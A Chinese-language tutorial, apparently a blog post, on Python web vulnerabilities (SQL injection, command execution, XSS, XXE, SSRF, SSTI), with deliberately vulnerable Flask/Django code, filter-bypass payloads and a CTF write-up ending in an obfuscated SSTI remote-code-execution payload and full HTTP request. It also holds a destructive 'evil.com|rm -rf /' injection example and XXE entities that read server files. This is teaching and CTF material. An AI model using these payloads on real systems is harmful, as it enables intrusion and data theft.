共计 16138 个字符,预计需要花费 41 分钟才能阅读完成。
提醒:本文最后更新于 2026-04-03 19:28,文中所关联的信息可能已发生改变,请知悉!
SQL 注入(略)
query = f"SELECT * FROM users WHERE username='{username}'AND password='{password}'"
cursor.execute(query)
攻击原理:输入的 username 被拼接后,SQL 变为:
SELECT * FROM users WHERE username=''OR 1=1 --' AND password='anything'
-- 是 SQL 注释符,使后续条件失效,1=1 永远为真,导致查询返回所有用户数据。
防范方法:参数化查询
参数化查询(Prepared Statements) 是防御 SQL 注入的核心手段。通过将输入数据与 SQL 语句分离,确保用户输入仅被视为数据,而非可执行的代码。
1. 使用 ? 占位符(SQLite 风格)
# 正确写法:使用参数化查询
safe_query = "SELECT * FROM users WHERE username=? AND password=?"
cursor.execute(safe_query, (username, password))
之前的文章又详细讲解,这里不再花过多时间
SQLite 中的 union 注入
union select group_concat(name) from sqlite_master WHERE type='table'
Mysql 中的 union 注入
union select group_concat(schema_name) from information_schema.schemata
RCE(略)
常见的执行命令模块和函数有
eval() #将字符串解析为 Python 表达式并执行
exec() #执行字符串或代码对象形式的 Python 代码。支持完整 Python 语法(如 if、函数定义等)os.system() #功能执行系统命令。命令的输出会直接显示在控制台,但无法通过代码捕获。os.popen() #执行传入的字符串命令,并返回一个文件对象通过该对象可以读取命令的输出内容。subprocess.run() #启动子进程执行命令。支持控制输入 / 输出流。subprocess.Popen() #同上
Notice:exec允许多行字符串和 ;,但eval 不允许。且 exec 不返回结果
如果 URL 为"http://evil.com|rm -rf / &,进一步也可以控制服务器权限
CTF 题目里面常见的命令执行操作ping
os.system('ping -n 4 %s' %ip)
动态调用实现
oper_type=__import__('os').system('sleep 5')
又比如使用 eval 将字符串转字典
>>> json1="{'a':1}"
>>> eval(json1)
{'a': 1}
如果 json1 可控也会造成 RCE
subprocess 是 os 模块的安全版,但使用不当依然会造成 RCE
subprocess.run的案例
def COMMAND(request):
if request.GET.get('ip'):
ip = request.GET.get('ip')
cmd = 'ping -n 4 %s' %shlex.quote(ip)
flag = subprocess.run(cmd, shell=False, stdout=subprocess.PIPE)
stdout = flag.stdout
return HttpResponse('<p>%s</p>' %str(stdout, encoding=chardet.detect(stdout)['encoding']))
else:
return HttpResponse('<p> 请输入 IP 地址 </p>')
关键字过滤
大小写绕过
字符拼接
单引号绕过
如:
__import__('o' + 's').sy'+'stem'('whoami')
__import__('o''s').popen('whoa''mi').read()
__import__('Os').popen('whOami').read()
XSS(略)
XSS 和 SQL 注入相同点都是对用户的输入参数没有过滤和正确引用,导致输出的时候造成代码注入到页面上
示例如下
name = request.GET.get('name')
return HttpResponse("<p>name: %s</p>" %name)
Django 上的 XSS 示例
def XSS(request):
if request.GET.get('name'):
name = request.GET.get('name')
return HttpResponse("<p>name: %s</p>" %name)
Flask 上的 XSS 示例
@app.route('/xss')
def XSS():
if request.args.get('name'):
name = request.args.get('name')
return Response("<p>name: %s</p>" %name)
过滤手段以及绕过
1. 过滤空格
绕过手段:使用 / 绕过
如:
<img/src="x"/onerroralert("xss");>
<!-- <img src="x" onerroralert("xss");> -->
2. 过滤关键字
绕过手段
(1. 大小写绕过
<ImG SrC=x onerror....
(2. 字符拼接
利用 top 或者 eval 将字符拼接
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
其他绕过方式
编码绕过,如:
<img src="x" onerror="alert("xss");"> unicode 编码
XXE
XXE 漏洞原理
漏洞成因:解析时未对 XML 外部实体加以限制,导致攻击者将恶意代码注入到 XML 中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。
拓展:那么,什么是 XML 实体?
XML(Extensible Markup Language,可扩展标记语言)是一种用于 存储和传输结构化数据 的标记语言。
核心特点
- 可扩展性 用户可以自定义标签(如
<book>、<price>),无需依赖预定义标签,适合描述各种领域的数据。 - 结构化数据 通过嵌套的标签和属性组织数据,形成树状结构,适合表示复杂关系。
- 平台与语言无关 XML 是纯文本格式,可被任何编程语言(如 Java、Python)解析,支持跨系统数据交换。XML 可以用于数据交换,服务配置等
在 python 中有三种方法解析 XML:
- SAX
xml.sax.parse()- DOM
xml.dom.minidom.parse()xml.dom.pulldom.parse()- ElementTree
xml.etree.ElementTree()
存在漏洞的示例代码
def xxe():
# tree = etree.parse('xml.xml')
# tree = lxml.objectify.parse('xml.xml')
# return etree.tostring(tree.getroot())
xml = b"""<?xml version="1.0"encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<channel>
<title>&xxe;</title>
<description>A blog about things</description>
</channel>"""
tree = etree.fromstring(xml)
return etree.tostring(tree)
此处利用 file 协议读取服务器上的敏感文件,漏洞存在的原因是 XMLparse 方法中 resolve_entities 默认设置为True,导致可以解析外部实体 一些版本比较低的第三方解析 excel 库内部是使用 lxml 模块实现的,采用的也是默认配置,存在 XXE 漏洞
XXE 中的 SSRF 利用
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY wuhu SYSTEM "http://<url>/index.txt">
]>
<x>&wuhu;</x>
文件读取
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<x>&xxe;</x>
SSRF
原理:SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF 利用存在缺陷的 Web
python 的可以造成这种问题的常用请求库:
- pycurl
- urllib
- urllib3
- requests
这里就以 requests 为例
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/fetch')
def fetch():
url = request.args.get('url')
if url:
try:
response = requests.get(url)
return f"Response content ({url}): {response.text[:500]}" # 显示前 500 个字符
except Exception as e:
return f"Error fetching {url}: {str(e)}"
return 'Please provide URL parameter (?url=...)'
# 首页用于简单测试
@app.route('/')
def index():
return '''
<h1>SSRF 演示 </h1>
<form action="/fetch">
<input type="text" name="url" value="http://example.com" size="50">
<input type="submit" value="Fetch">
</form>
'''if __name__ =='__main__':
app.run(debug=True)
我们可以输入内网网址 192.168.2.23 等,从而实现访问在外网无法访问的服务器
不过 requests 有一个 Adapter 的字典,请求类型为 http:// 或者 https://,限制了 file 等其他协议的使用
拓展:SSRF 中常用的 url 伪协议SSRF 中的 URL 的伪协议_ssrf 中 url 的伪协议 -CSDN 博客
file:/// 可以用于系统文件访问
sftp:// 安全文件传输协议,用于安全的传输文件
ldap:// 用于用户认证授权
tftp:// 简单文件传输协议
gopher://
[!NOTE]
拓展:gopher 协议
gopher 协议是一种信息查找系统,他将 Internet 上的文件组织成某种索引,方便用户从 Internet 的一处带到另一处。在 WWW 出现之前,Gopher 是 Internet 上最主要的信息检索工具,Gopher 站点也是最主要的站点,使用 tcp70 端口。在 CTF 中对 gopher 协议考察也很多
例题:
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')
target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in target_url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")
@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO'")
if ')' in name:
flask.abort(400, "NO)")
"""Some waf hidden here ;)"""
fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")
return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")
if __name__ == '__main__':
app.run(debug=True)
[!NOTE]
添加 @绕过 URL 拼接
平常我们传入的 url 是
url=http://127.0.0.1,如果
我们传入的 url 是url=http://quan9i@127.0.0.1, 它此时依旧会访问 127.0.0.1进制转换绕过‘.’过滤
将
127.0.0.1进行转换,转换为其他进制的数从而绕过检测
进制转换结果如下0177.0.0.1 // 八进制 0x7f.0.0.1 // 十六进制 2130706433 // 十进制
更多绕过方法:从一文中了解 SSRF 的各种绕过姿势及攻击思路_ssrf 绕过 -CSDN 博客
SSTI
前置知识:
Python 中的继承方法是面向对象编程的核心概念,允许子类获取父类的属性和方法,并支持扩展和重写。
python 中的魔术方法 (Magic) 方法,是那些被 __ 包围的方法,在对象继承时,子类可以重写父类的魔术方法以实现定制功能,用于增强 Python 面向对象编程的能力。魔术方法在创建对象或对象操作时自动调用,不需要显式使用。
不同语言在使用模板渲染的时候都有可能存在模板注入漏洞,python 中以 flask 为例:
def ssti():
if request.values.get('name'):
name = request.values.get('name')
template = "<p>%s<p1>" %name
return render_template_string(template)
else:
return render_template_string('<p> 输入 name 值 </p>')
其中大概有两个点是值得在意的,一个是格式化字符串,另一个是函数render_template_string。其是这两个更像是配合利用,像这么使用就不会有这个问题
def safe():
if request.values.get('name'):
name = request.values.get('name')
template = "<p>{{name}}<p1>"
return render_template_string(template, name=name)
else:
return render_template_string('<p> 输入 name 值 </p>')
问题出在格式化字符串上面,而非某个函数 render_template_string 上,当前者传入 {{config}} 时,会被模板当作合法语句来执行,而后者会把参数当作字符串处理而不进行相关解析。
为了安全模板引擎基本上都拥有沙盒环境,模板注入并不会直接解析 python 代码造成任意代码执行,所以想要利用 SSTI 一般还需要配合沙箱逃逸,例如
().__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('whoami')
其中 __class__ 属性直接访问它的类
__base__用访问他的父类
__subclass__用访问子类
…..(涉及 python 的魔术方法,为了节约时间不在一个一个讲)
除了 __class__ 外其他获取属性的方式
获取属性的方式
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")
[!NOTE]
沙盒环境的核心作用
- 限制代码执行范围
- 禁止模板直接调用系统级函数(如
os.system、open)或访问敏感模块(如subprocess)。- 阻止执行任意系统命令(如
ls、rm)或文件读写操作。
- 隔离敏感数据
- 限制模板访问应用内部变量(如数据库连接信息、密钥)。
- 防止通过模板遍历对象继承链(如
__class__、__globals__)获取敏感数据。
- 阻断高危操作
- 禁用动态加载模块(如
__import__)和反射操作(如getattr)。- 禁止实例化危险类(如
os、subprocess.Popen)。
CTF 中最喜欢考的就是过滤各种关键字,虽然对于 jinjia2 和 djiango 的模板注入有 fenjing 这样的一把梭工具
但我们还是要学会自己去了解了解(
{{((lipsum.__globals__.__builtins__.__import__('os')).popen('echo f3n j1ng;')).read()}}
例题 1:SSTI-LAB1
例题 2:SSTI-LAB2
例题 3:SSTI-LAB3
无回显 ssti,这种题与之前的题目其实类似,我们可以通过反弹 shell 或者类似于布尔盲注的方式读取 flag
SSTI 绕过
1. 双大括号过滤
{{和}}被过滤使用 {% 和 %} 绕过
{% print(''.__class__.__base__.__subclasses__()[60].__init__.__globals__['popen']('cat /flag').read()) %}
2. 无回显 SSTI
反弹 shell,查找出能调用 popen 函数的子类并执行代码连接我们的主机,运行脚本同时开启监听,实现反弹 shell,Python 脚本
3. 中括号过滤
魔术方法 __getitem__ 可代替中括号,绕过中括号过滤,payload:
# 当中括号被过滤时,如下将被限制访问
{{''.__class__.__base__.__subclasses__()['13'].['popen']('cat /flag') }}
# 可使用魔术方法__getitem__替换中括号 [],payload 如下:{{''.__class__.__base__.__subclasses__().__getitem__(13).__getitem__('popen')('cat /flag') }}
4. 单双引号过滤
当单双引号被过滤后,可以使用 get 或者 post 传参输入需要带引号的内容,payload:
# 当单双引号被过滤后以下访问将被限制
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}
# 可以通过 request.args 的 get 传参输入引号内的内容,payload:{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read()}}
同时 get 传参?popen=popen&cmd=cat /flag
# 也可以通过 request.form 的 post 传参输入引号内的内容,payload:{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cmd).read()}}
同时 post 传参?popen=popen&cmd=cat /flag
# 还可以使用 cookies 传参,如 request.cookies.k1、request.cookies.k2、k1=popen;k2=cat /flag
5. 下划线过滤
当下划线被过滤后,可以使用过滤器输入下划线,如使用函数 attr(),payload:
# 原 payload 存在下划线_被限制访问
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}
# 使用过滤器函数 attr(),将带下划线部分作为 attr()函数的参数并使用 get 或 post 给 attr()函数传参数,payload:{{()|attr(request.form.p1)|attr(request.form.p2)|attr(request.form.p3)()|attr(request.form.p4)(117)|attr(request.form.p5)|attr(request.form.p6)|attr(request.form.p7)('popen')('cat /flag')|attr('read')()}}
同时 post 传参 p1=__class__&p2=__base__&p3=__subclasses__&p4=__getitem__&p5=__init__&p6=__globals__&p7=__getitem__
# arrt()的参数也可以不用 get 或 post 传参,而将 arrt()函数的参数进行 unicode 编码
或者使用 16 进制编码
# 原 payload 存在下划线_被限制访问
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}
# 将下划线进行 16 位编码,payload:{{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[117]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat /flag').read()}}
6. 点过滤
使用中括号绕过点过滤,payload:
# 原 payload 存在点被限制访问
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}
# 使用过滤器 arrt()函数绕过点过滤,payload:{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')()}}
综合绕过例题
XYCTF2025-Now you see me
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',"getattr","_","{{","}}","[","]","\\","/","self","lipsum","cycler","joiner","namespace","init","dir","join","decode","batch","first","last"," ","dict","list","g.","os","subprocess","g|a","GLOBALS","lower","upper","BUILTINS","select","WHOAMI","path","os","popen","cat","nl","app","setattr","translate","sort","base64","encode","\\u","pop","referer","The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'
if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)
常规解法:
过滤了 - 一般我们优先考虑 request 方法,可是我们可以发现常用的 request 方法几乎全部被过滤了

Flask 开发手册里有一个方法

我们可以获取当前路由的函数名即 r3al_ins1de_th0ught 进而可以拼出request.data
这样我们就可以绕过任意字符了
最后利用 importlib.reload 重载 os 模块
最后的 payload
{%for%0ai%0ain%0arequest.endpoint|slice(1)%}{%set%0adat=i.9~i.2~i.12~i.2%}{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}{%set%0aa0%0a=%0ak.16~k.31~k.31~k.27~k.24~k.18~k.1
6~k.35~k.24~k.30~k.29%}{%set%0aa1%0a=%0ak.2~k.2~k.22~k.27~k.30~k.17~k.16~k.27~k.34~k.2~k.2%}{%set%0aa2%0a=%0ak.2~k.2~k.22~k.20~k.35~k.24~k.35~k.20~k.28~k.2~k.2%}{%set%0aa3%0a=%0ak.2~k.2~k.17~k.36~k.24~
k.27~k.35~k.24~k.29~k.34~k.2~k.2%}{%set%0aa4%0a=%0ak.2~k.2~k.24~k.28~k.31~k.30~k.33~k.35~k.2~k.2%}{%set%0aa5%0a=%0ak.34~k.36~k.17~k.31~k.33~k.30~k.18~k.20~k.34~k.34%}{%set%0aa6%0a=%0ak.30~k.34%}{%set%0
aa7%0a=%0ak.24~k.28~k.31~k.30~k.33~k.35~k.27~k.24~k.17%}{%set%0aa8%0a=%0ak.33~k.20~k.27~k.30~k.16~k.19%}{%set%0aa9%0a=%0ak.31~k.30~k.31~k.20~k.29%}{%set%0aa10%0a=%0ak.38~k.23~k.30~k.16~k.28~k.24%}{%set
%0aa11%0a=%0ak.33~k.20~k.16~k.19%}{%set%0asub=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a5)%}{%set%0aso=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a6)%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(sub))%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(so))%}{%print(so|attr(a9)(a10)|attr(a11)())%}{%endfor%}{%endfor%}
最后发送数据包成功 RCE
GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%for%0ai%0ain%0arequest.endpoint|slice(1)%}{%set%0adat=i.9~i.2~i.12~i.2%}{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}{%set%0aa0%0a=%0ak.16~k.31~k.31~k.27~k.24~k.18~k.16~k.35~k.24~k.30~k.29%}{%set%0aa1%0a=%0ak.2~k.2~k.22~k.27~k.30~k.17~k.16~k.27~k.34~k.2~k.2%}{%set%0aa2%0a=%0ak.2~k.2~k.22~k.20~k.35~k.24~k.35~k.20~k.28~k.2~k.2%}{%set%0aa3%0a=%0ak.2~k.2~k.17~k.36~k.24~k.27~k.35~k.24~k.29~k.34~k.2~k.2%}{%set%0aa4%0a=%0ak.2~k.2~k.24~k.28~k.31~k.30~k.33~k.35~k.2~k.2%}{%set%0aa5%0a=%0ak.34~k.36~k.17~k.31~k.33~k.30~k.18~k.20~k.34~k.34%}{%set%0aa6%0a=%0ak.30~k.34%}{%set%0aa7%0a=%0ak.24~k.28~k.31~k.30~k.33~k.35~k.27~k.24~k.17%}{%set%0aa8%0a=%0ak.33~k.20~k.27~k.30~k.16~k.19%}{%set%0aa9%0a=%0ak.31~k.30~k.31~k.20~k.29%}{%set%0aa10%0a=%0ak.38~k.23~k.30~k.16~k.28~k.24%}{%set%0aa11%0a=%0ak.33~k.20~k.16~k.19%}{%set%0asub=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a5)%}{%set%0aso=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a6)%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(sub))%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(so))%}{%print(so|attr(a9)(a10)|attr(a11)())%}{%print(so|attr(a9)(a10)|attr(a11)())%}{%endfor%}{%endfor%} HTTP/1.1
Host: XXX
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 69
_ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/
可以看到这题还是很难得,但其实这里还有一个非预期打法(bai 师傅打法)
出题人并没有注意到其实存在一个 request.authorization(确实在开发手册里面藏得很深)
其实和之前的 post 或者 get 传参一样,只不过这里是通过 anthorization 头传入参数
最后也可以成功 RCE,但是需要用 importlib 重载被删除的函数
你说得对,但是